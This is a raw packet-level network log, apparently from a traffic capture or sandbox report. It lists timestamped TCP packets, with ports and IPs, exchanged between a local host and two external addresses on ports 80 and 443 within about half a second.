Dec 19, 2024 14:10:31.181654930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.182482958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.182543993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.182621002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.182701111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.183352947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.183376074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.183412075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.183440924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.184235096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.184295893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.184379101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.184432983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.185220003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.185297012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.309273005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.309344053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.309350014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.309412956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.309724092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.309809923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.309839010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.309890032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.310472012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.310529947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.310625076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.310681105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.311372995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.311431885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.311604977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.311685085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.311743975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.311801910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.312428951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.312489033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.312541962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.312598944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.313332081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.313390017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.313407898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.313462973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.314146042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.314208984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.338809967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.338875055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.338932037 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.339185953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.339238882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.339358091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.340046883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.340130091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.340181112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.340238094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.340879917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.340930939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.341209888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.341260910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.341306925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.342037916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.342094898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.342094898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.342180014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.342833042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.342962980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.342981100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.343007088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.343660116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.343708992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.343795061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.343842030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.344532967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.344593048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.344640970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.344691992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.345418930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.345443964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.345468998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.345493078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.346209049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.346257925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.346297026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.347002029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.347053051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.347135067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.347184896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.347867966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.347922087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.347995043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.348042965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.348742962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.348789930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.348855019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.348902941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.349601984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.349623919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.349649906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.349680901 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.350424051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.350459099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.350543022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.351231098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.351284027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.351285934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.351329088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.351597071 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:31.351830959 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:31.351888895 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:31.352080107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.352138042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.352184057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.352237940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.352978945 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:31.352998018 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:31.353096008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.353210926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.353260994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.353260994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.353962898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.354031086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.354105949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.354154110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.354825020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.355019093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.355079889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.355629921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.355644941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.355691910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.355726004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.356292009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.356348038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.356393099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.356507063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.357286930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.357358932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.357361078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.357414007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.358135939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.358222008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.358257055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.358288050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.358782053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.358880997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.358897924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.358949900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.359698057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.359754086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.359781027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.359831095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.360502005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.360580921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.360589027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.360698938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.361339092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.361361980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.361421108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.362157106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.362216949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.362252951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.362293959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.363012075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.363058090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.363075018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.363126040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.363785028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.363843918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.363950968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.364005089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.364660978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.364789963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.364814043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.364861012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.365498066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.365586996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.365674973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.365745068 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.366332054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.366547108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.366597891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.367152929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.367209911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.367261887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.367330074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.368021011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.368087053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.368140936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.368201017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.368877888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.368926048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.368978977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.369010925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.369740963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.369883060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.369914055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.370028019 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.370522976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.370737076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.370826960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.371458054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.371517897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.371536016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.371604919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.372299910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.372364998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.372447968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.372510910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.373092890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.373164892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.373183012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.373236895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.373909950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.374042988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.374104023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.374753952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.374828100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.374840975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.374891996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.375632048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.375691891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.375745058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.375905037 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.376475096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.376605988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.376609087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.376658916 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.377213001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.377285004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.491832972 CET	49817	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:31.491908073 CET	443	49817	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:31.492022991 CET	49817	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:31.492657900 CET	49817	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:31.492690086 CET	443	49817	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:31.501518011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.501545906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.501619101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.501619101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.501928091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.502063990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.502069950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.502127886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.502758026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.502823114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.502880096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.503639936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.503705978 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.503838062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.503900051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.503953934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.504019022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.504698992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.504754066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.504806995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.505054951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.505532980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.505598068 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.505651951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.505706072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.506326914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.506407022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.531142950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.531205893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.531255960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.531328917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.531631947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.531697035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.531754017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.531886101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.532409906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.532471895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.532553911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.532779932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.533215046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.533499002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.533520937 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.533557892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.533596992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.533663988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.534677029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.534744978 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.534965038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.535017014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.535680056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.535734892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.535862923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.535911083 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.536345005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.536417007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.536422968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.536485910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.536935091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.536962986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.537009001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.537688971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.537753105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.537810087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.537878990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.538557053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.538613081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.538656950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.538738966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.539443016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.539499044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.539540052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.539580107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.540215015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.540262938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.540361881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.540405989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.541064978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.541125059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.541184902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.541544914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.541914940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.542043924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.542095900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.542732954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.542788982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.542870998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.542959929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.543572903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.543626070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.543664932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.543919086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.544419050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.544552088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.544612885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.545278072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.545335054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.545367002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.545419931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.546200037 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.546255112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.546293020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.546339989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.546993017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.547043085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.547065020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.547112942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.547787905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.547827005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.547846079 CET	49800	80	192.168.2.4	31.41.244.11
